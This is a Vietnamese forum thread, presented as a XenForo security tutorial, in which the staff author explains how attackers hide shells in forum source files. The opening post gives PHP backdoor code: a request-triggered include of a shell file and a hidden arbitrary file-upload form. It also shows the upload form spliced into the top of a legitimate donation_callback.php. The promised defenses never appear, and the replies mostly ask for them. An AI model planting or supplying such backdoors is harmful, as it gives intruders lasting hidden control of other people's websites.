Phương pháp Include shell trong source XenForo và cách phòng chống.

Thảo luận trong 'Hacking - Security' bắt đầu bởi VXF, 9/5/12.

1votes
5/5, 1 vote

  1. VXF

    VXF Be like no other .. Staff Member

    Bài viết:
    1,277
    Likes :
    2,173
    Tiếp theo serial bài viết về bảo mật cho XenForo:
    - Tăng cường bảo mật AdminCP cho XenForo
    - Bảo vệ AdminCP & thư mục Install bằng .htaccess

    Trong bài viết hôm nay mình sẽ trình bày về phương pháp chèn Shell trong source XenForo và các phòng chống. Bài viết sẽ giúp tăng cường bảo mật cho forum XenForo của các bạn, cho các bạn thấy được cách thức mà hacker đột nhập vào website, để từ đó có cách phòng tránh.

    Lưu ý: Trong bài viết có hướng dẫn phương pháp Include shell, tuy nhiên mình không khuyến khích các bạn dựa vào đó để thực hiện ý đồ xấu. Cái gì cũng có cái lợi và cái hại của nó. Mình sẽ không chịu bất kỳ trách nhiệm nào nếu bạn sử dụng tut này với mục đích không tốt.

    I. Phương diện Hacker.
    Bỏ qua việc làm thế nào hacker có thể vào được Admin CP và có shell trên Host của bạn. Ở đây, mình chỉ đề cập đến các phương pháp mà hacker có thể chèn shell và ẩn nó trong forum của bạn để có thể sử dụng trong những cuộc tấn công tiếp theo.

    1. Phương pháp 1: Chèn shell bằng cách sửa file .php trên host.
    - Tìm những file mà admin ít để ý đến để chèn 1 trong các đoạn code sau vào nhé, có thể chèn vào bất cứ đâu mà bạn muốn.
    Code 1: Include 1 file shell
    Mã:
    if ($_REQUEST['do']=="Alucar") {  include ("alucar.php");  }
    Code 2: Include 1 code có chức năng Upload một file từ máy tính lên host
    PHP:
    if($_REQUEST['do']=='Alucar')
    {
        
    $files = @$_FILES["files"];
        if(
    $files["name"] != ''){
            
    $fullpath $_REQUEST["path"].$files["name"];
            if(
    move_uploaded_file($files['tmp_name'],$fullpath)){
                echo 
    "<h1><a href='$fullpath'>Upload successful. Click here!</a></h1>";
            } 
        }
    echo 
    '<body><form method=POST enctype="multipart/form-data" action=""><input type=text name=path>
    <input type="file" name="files"><input type=submit value="Up"></form></body>'
    ;
    exit(
    "");
    }
    Code 3: Include trực tiếp shell (ở đây mình dùng con shell chưa được mã hoá)
    Do code quá dài nên các bạn download file code3.txt ở đính kèm và copy nội dung vào file muốn chèn shell.

    Ví dụ mình sử dụng Code 2 và chèn vào file donation_callback.php như sau:
    PHP:
    <?php
    if($_REQUEST['do']=='Alucar')
    {
        
    $files = @$_FILES["files"];
        if(
    $files["name"] != ''){
            
    $fullpath $_REQUEST["path"].$files["name"];
            if(
    move_uploaded_file($files['tmp_name'],$fullpath)){
                echo 
    "<h1><a href='$fullpath'>Upload successful. Click here!</a></h1>";
            }
        }
    echo 
    '<body><form method=POST enctype="multipart/form-data" action=""><input type=text name=path>
    <input type="file" name="files"><input type=submit value="Up"></form></body>'
    ;
    exit(
    "");
    }
    $startTime microtime(true);
    $fileDir dirname(__FILE__);
     
    require(
    $fileDir '/library/XenForo/Autoloader.php');
    XenForo_Autoloader::getInstance()->setupAutoloader($fileDir '/library');
     
    XenForo_Application::initialize($fileDir '/library'$fileDir);
    XenForo_Application::set('page_start_time'$startTime);
     
    $response = new Zend_Controller_Response_Http();
    $processor = new EWRporta_Block_Donations();
    $processor->initCallbackHandling(new Zend_Controller_Request_Http());
     
    $logExtra = array();
     
    try
    {
        if (!
    $processor->validateRequest($logMessage))
        {
            
    $logType 'error';
     
            
    $response->setHttpResponseCode(500);
        }
        else if (!
    $processor->validatePreConditions($logMessage))
        {
            
    $logType 'error';
        }
        else
        {
            list(
    $logType$logMessage) = $processor->processTransaction();
        }
    }
    catch (
    Exception $e)
    {
        
    $response->setHttpResponseCode(500);
        
    XenForo_Error::logException($e);
     
        
    $logType 'error';
        
    $logMessage 'Exception: ' $e->getMessage();
        
    $logExtra['_e'] = $e;
    }
     
    $processor->log($logType$logMessage$logExtra);
     
    $response->setBody(htmlspecialchars($logMessage));
    $response->sendResponse();
    Đây là kết quả lần lượt với code 1 và 2

    alucar2
    alucar1
    2. Phương pháp 2: Chèn shell qua Add-ons
    updating...
    3. Phương pháp 3: Chèn shell qua Styles
    updating
     

    Các file đính kèm:

    phuocnguyen, phankt, hungnv85 and 7 others like this.
    Đang tải...
  2. nguyen kim nam

    nguyen kim nam New Member

    Bài viết:
    4
    Likes :
    0
    chờ Phương pháp 2
    Phương pháp 3 của chủ pic :D
     
  3. Xavier

    Xavier Well-Known Member

    Bài viết:
    1,414
    Likes :
    522
    mềnh vẫn chưa hiểu lắm admin à??giải thích chút đi
     
  4. Logi

    Logi Well-Known Member

    Bài viết:
    1,087
    Likes :
    456
    Giải thích rõ vậy rùi còn ko hiểu hả bạn, Mà khoogn hiểu cái nào thì hỏi chứ hỏi chung chung chả nhẽ bắt giải thích lại tất à
     
  5. tenchu1109

    tenchu1109 New Member

    Bài viết:
    4
    Likes :
    1
    Bạn up bài kiểu này thì mấy forum nhỏ mới lên tiêu hết với tụi hacker .
     
  6. Logi

    Logi Well-Known Member

    Bài viết:
    1,087
    Likes :
    456
    Anh Đồng up nốt phần phương pháp phòng đi để thế này thì toi
     
  7. Xavier

    Xavier Well-Known Member

    Bài viết:
    1,414
    Likes :
    522
    haizz..mình còn chưa hiểu cách làm luôn :(
     
  8. bboy_nonoyes

    bboy_nonoyes Member

    Bài viết:
    277
    Likes :
    123
    Rất hay & dễ hiểu! Chờ cách phòng chống của Admin! :D:D
     
  9. hieucocc

    hieucocc Active Member

    Bài viết:
    409
    Likes :
    223
    tiếp đi admin ơi :D
     
  10. AC_Khanh01

    AC_Khanh01 Member

    Bài viết:
    221
    Likes :
    61
    Bác chủ thớt ơi, làm tiếp đi bác, nhiều người kêu gào quá kìa ;))

    có vẻ đây là cách tấn công, nhưng cách phòng chống thì như thế nào nhỉ :)
     
  11. AC_Khanh01

    AC_Khanh01 Member

    Bài viết:
    221
    Likes :
    61
    Sao lại tiêu vậy bác :D
     
  12. Reishou

    Reishou Member

    Bài viết:
    519
    Likes :
    192
    Sao mấy bác kia cứ lo cuống lên nhỉ, ngay từ câu đầu nó đã khó rồi
    Làm như muốn up shell lên host dễ lắm à? Nó đã up được lên rồi thì chả cần bài viết của Alucar thì nó cũng có khối cách để phá tan hoang cái forum của bạn.
    Như mình đây, host thuê của hkda, code forum + addon luôn down từ vietxf.org do admin, mod up. Password admin forum trên 10 ký tự, có cả chữ hoa, thường,ký tự đặc biệt. Luôn sử dụng máy ở nhà, trình diệt virus MSE cập nhật hàng ngày. Nào! Mời hack forum mình đi!
     
    AC_Khanh01 thích bài này.
  13. Coffee

    Coffee Member

    Bài viết:
    324
    Likes :
    81
    Hok gì là hok thể bạn nhé :) Đơn giản nhất là nếu forum c có bug thì đừng hỏi tại sao ;))
     
  14. su_gia_cntt

    su_gia_cntt New Member

    Bài viết:
    1
    Likes :
    0
    code 1 chi co doan code if ($_REQUEST['do']=="Alucar") { include ("alucar.php"); }
    con file alucar.php dau ban
     
  15. hieucocc

    hieucocc Active Member

    Bài viết:
    409
    Likes :
    223
    hỏi hay hỏi hay ;))

    bác ý mà đưa lên thì có nỗi là loạn thui bác @su_gia_cntt à :D
     
    iwmi_vn thích bài này.
  16. phankt

    phankt New Member

    Bài viết:
    16
    Likes :
    0
    like động viên admin.. anh viết về cách phát hiện và chống đi ah
     
  17. jogger

    jogger New Member

    Bài viết:
    22
    Likes :
    4
    có cách nào chống ddos không các bác mấy bữa nay em bị ddos nhiều quá trời, không hiểu ai làm mà cứ liên tục tấn công luôn các bác ạ
     
comments powered by Disqus

Chia sẻ trang này

Đang tải...